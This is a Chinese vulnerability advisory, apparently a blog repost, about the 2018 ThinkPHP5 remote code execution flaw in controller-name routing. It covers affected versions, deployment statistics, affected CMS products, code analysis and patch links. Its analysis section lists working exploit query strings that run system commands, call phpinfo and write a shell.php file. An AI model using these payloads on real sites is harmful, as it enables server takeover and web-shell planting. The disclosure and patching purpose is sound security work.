ThinkPHP5远程代码执行漏洞

Track-1   ·   发表于 2018-12-12   ·   漏洞文章

图片.png


2018年12月10日,白帽汇安全研究院发现thinkphp官网发布了安全更新,修复了一个远程代码执行漏洞,该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代码执行。主要影响的版本为5.0.23和5.1.31之前的所有版本。

此次爆出漏洞的ThinkPHP 5.x版本是官方于2015年发布的新一代框架,其中5.1.0RC版本于今年的5月2日发布,但在短短几个月时间内就爆出远程代码执行漏洞,其框架安全性可能会在日后遭受更严峻的考验。据不完全统计,目前全球使用ThinkPHP5及其二次开发系统的网站大概12万。

概况

ThinkPHP诞生于2006年,是一个国产开源的PHP开发框架,其借鉴了Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

目前FOFA系统最新数据(一年内数据)显示全球范围内共有 21万个ThinkPHP网站对外开放服务。中国大陆地区使用数量最多,共有113339台,美国第二,共有37011台,中国香港特别行政区第三,共有12262台,新加坡第四,共有3829台。

全球范围内ThinkPHP网站分布情况(仅为分布情况,非漏洞影响情况)

1.png

中国大陆地区浙江省使用用数量最多,共有66163台;北京市第二,共有21416台,广东省第三,共有5431台,上海市第四,共有2863台,河南省第五,共有2629台。

中国大陆范围内ThinkPHP网站分布情况(仅为分布情况,非漏洞影响情况)

2.png

危害等级

严重

漏洞影响

目前漏洞影响版本号包括:

    5.x < 5.1.31
    5.x <= 5.0.23

以下基于ThinkPHP5 二次开发的内容管理系统,很可能收到该漏洞影响,建议厂商及时更新。

  • AdminLTE后台管理系统
  • layui后台管理系统
  • thinkcmf
  • H-ui.admin后台管理系统
  • tpshop
  • FsatAdmin
  • eyoucms
  • LarryCMS后台管理系统
  • tpadmin后台管理系统
  • snake后台管理系统
  • ThinkSNS
  • DolphinPHP后台管理系统
  • WeMall商城系统
  • CLTPHP
  • 齐博CMS
  • DSMALL
  • YFCMF
  • HisiPHP后台管理系统
  • Tplay后台管理系统
  • lyadmin后台管理系统
  • haoid后台管理系统
  • 漏洞分析

    以ThinkPHP5.1版本为例,该漏洞出现在路由调度功能,首先查看相关函数,在thinkphp/library/think/route/dispatch/Module.php中。主要函数代码如下:

    3.png4.png5.png6.png

    发现在着色部分调用了controller方法来实例化控制器,跟进controller方法,在controller方法里又调用了parseModuleAndClass方法解析module和class。跟进parseModuleAndClass方法。

    7.png

    在parseModuleAndClass方法中,如果$name中含有\,则把$name当作类名处理。此处$name可以由访问者控制,也就是说,访问者可以控制实例化任何一个类。比如通过发送GET请求s=index/\think\class/get参数,可以实例化\think\class类并执行get方法。这里也可以通过pathinfo的方式来进行利用,但是在windows下会把 \ 转为 / 。

    8.png

    根据以上分析,找到以下几处漏洞利用点:

    5.0.x版本

    s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    5.1.x版本

    s=index/\think\Request/input&filter=phpinfo&data=1
    
    s=index/\think\Request/input&filter=system&data=id
    
    s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    
    s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
    
    s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    漏洞复现

    9.png

    漏洞POC

    目前FOFA客户端平台已经更新该ThinkPHP漏洞的检测POC。

    2.jpg

    修复建议

    1、官网已发布安全更新,用户可以通过网址http://www.thinkphp.cn/topic/60400.html  获得.

    2、如暂时无法更新到最新版本,可以按照按官网指示手动修复,网址:https://blog.thinkphp.cn/869075。

    3、建议使用以上ThinkPHP5 开发的内容管理系统的用户及时检查是否存在该漏洞。

    参考

    [1] https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ

    [2] https://bbs.ichunqiu.com/thread-48687-1-1.html


    打赏我,让我更有动力~

    0 Reply   |  Until 2018-12-12 | 529 View
    LoginCan Publish Content
    返回顶部

    掌控者 © 2016. All Rights Reserved. 掌控者

    Powered by 掌控者 Version 2.1.3